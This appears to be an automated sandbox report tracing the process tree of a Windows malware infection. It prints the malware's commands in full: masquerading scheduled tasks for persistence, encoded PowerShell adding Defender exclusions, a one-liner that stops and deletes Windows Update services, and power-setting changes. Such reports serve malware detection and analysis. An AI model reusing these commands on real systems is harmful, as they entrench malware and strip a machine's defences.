schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4536

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 11 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "karma_fivemk" /sc MINUTE /mo 5 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\karma_fivem.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3472

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "karma_fivem" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\karma_fivem.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3292

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "karma_fivemk" /sc MINUTE /mo 12 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\karma_fivem.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 8 /tr "'C:\Windows.old\ctfmon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:996

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ctfmon" /sc ONLOGON /tr "'C:\Windows.old\ctfmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1516

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ctfmonc" /sc MINUTE /mo 10 /tr "'C:\Windows.old\ctfmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6404

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 12 /tr "'C:\Windows\ModemLogs\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2484

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Windows\ModemLogs\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 11 /tr "'C:\Windows\ModemLogs\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:7144

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows NT\TableTextService\en-US\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1804

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\TableTextService\en-US\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4784

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows NT\TableTextService\en-US\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:6276

C:\Program Files\Reference Assemblies\Microsoft\Framework\sihost.exe
"C:\Program Files\Reference Assemblies\Microsoft\Framework\sihost.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:6388

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 8 /tr "'C:\Windows.old\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:616

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Windows.old\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4556

C:\Program Files\Reference Assemblies\Microsoft\Framework\karma_fivem.exe
"C:\Program Files\Reference Assemblies\Microsoft\Framework\karma_fivem.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:400

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'C:\Windows.old\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:256

C:\Windows\ModemLogs\sihost.exe
"C:\Windows\ModemLogs\sihost.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3876

C:\Windows.old\ctfmon.exe
"C:\Windows.old\ctfmon.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2116

C:\Windows.old\Idle.exe
"C:\Windows.old\Idle.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1224

C:\Program Files (x86)\Windows NT\TableTextService\en-US\RuntimeBroker.exe
"C:\Program Files (x86)\Windows NT\TableTextService\en-US\RuntimeBroker.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5116

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  PID:5032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5532
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:6024
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:6328
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2580
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:6668
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4296
- - C:\Windows\System32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
    3⤵
    PID:5964
- - C:\Windows\System32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
    3⤵
    PID:7128
- - C:\Windows\System32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
    3⤵
    PID:4432
- - C:\Windows\System32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
    3⤵
    - Modifies registry key
    PID:1740
- - C:\Windows\System32\reg.exe
    reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
    3⤵
    - Modifies registry key
    PID:6588
- - C:\Windows\System32\takeown.exe
    takeown /f C:\Windows\System32\WaaSMedicSvc.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6504
- - C:\Windows\System32\icacls.exe
    icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:6044
- - C:\Windows\System32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
    3⤵
    PID:6572
- - C:\Windows\System32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
    3⤵
    - Modifies registry key
    PID:3004
- - C:\Windows\System32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
    3⤵
    PID:5104
- - C:\Windows\System32\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
    3⤵
    - Modifies registry key
    PID:1088
- - C:\Windows\System32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
    3⤵
    PID:5228
- - C:\Windows\System32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
    3⤵
    PID:4388
- - C:\Windows\System32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
    3⤵
    PID:3416
- - C:\Windows\System32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
    3⤵
    PID:3296
- - C:\Windows\System32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
    3⤵
    PID:6892
- - C:\Windows\System32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
    3⤵
    PID:428
- - C:\Windows\System32\schtasks.exe
    SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
    3⤵
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of WriteProcessMemory
  PID:7124
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    PID:1004
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    PID:5564
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    PID:7104
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    PID:2044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3896
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe "wymlqpsxtghekej"
  2⤵
  PID:3100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:3524
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    - Modifies data under HKEY_USERS
    PID:2896
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:6540
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:5128
    - - C:\Windows\System32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:1688
    - - C:\Windows\System32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:4368
    - - C:\Windows\System32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:2324
    - - C:\Windows\System32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:3912
    - - C:\Windows\System32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:4824
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:1516
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        
        PID:568
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        Modifies registry key
        
        PID:2328
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:5676
    - - C:\Windows\System32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        Modifies registry key
        
        PID:6904
    - - C:\Windows\System32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5700
    - - C:\Windows\System32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2476
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        
        PID:1684
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        
        PID:6444
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:6180
    - - C:\Windows\System32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:880
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:5644
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:2172
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:6688
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:2144
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:2592
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:4720
    - - C:\Windows\System32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:1820
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:4716
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:1372
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:2300
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:6872
    - - C:\Windows\System32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:3228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      PID:5504
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 zu8xig1NsQoKkEp6jsGp1FzkODn3PlcQanKaEb8L3RvtrtnZtdw/AGKPi/OlMpbcRLX4SGqLmd4JVVEBg1iFJ0OscxPL57kf2s/k/onXFgKm4sdbhgnOlplr9be7v0A6qGJHo1OEIjzCp4qSoj9cytw1sElMCl+0dC1f1DGFXQyBmCRBpr8s+avpSJSRySDpSgJM7yFfMnziBNtEqpHChnPfj+hX9sWuBMgfIEgkwEbY08gIbF6etPVzby+UslqffcHESMR9mviznTsaZAHFWN0He0VFMBh2T3CQtjehhwI0gQj1LYfDv2YAu0Y8rf6+cy8hJehfBGlUbJkdCrXrXY4YdHxOmvzxrnhvex9xNXVG/Rv9nqAyglRkH3CBuLlqKCPneSf513hbmkEFkExePMTC4ygt1AGYcJwh01H2RtifLpFUc6AlK8rIN8hPDxQuYb0gkogWr/zCvx8Ibew9uV2G9jxKAHPNIxQuwdkNasJGu4dYIQP4Rx1aH+ygtARSQrKe1BCEtz8edrrDUYOQwcpb29rHsuTEOsUSvOglFF6125uA+sYA1Rhkb+hlN2+GeiPDr6lur+QTU7X7n8drIHppkJaPVnYUvlyD2jsNr0CbLsg1HFrkFBxQH2H8ZyYlQJlzfrFSN7l6cADh8khZsQ4cgvVVBTiaWuBVGVwSwxrPSOG8tK3HmGwpqliX/FG1b99xqaKU+a/+VO+1GTZ8Xdwzj3uUgr69IIdvAeTWTMI6KW9V43kI4bG1pjcREWlEnCWFwWnxJNrVMKyEu0DLg8HRMjIYVEDkTdPj5IHx89bHw/AIN7W9CNuOEbXzRWFzk8vKKwUBRk9V77GIGZFujnkh3ZTIk0RlUxoVD1CkQy+0cjwqRJpkTd6N2Oqu9oidCLsr3vkxUHQZMkQr0jRPmm5v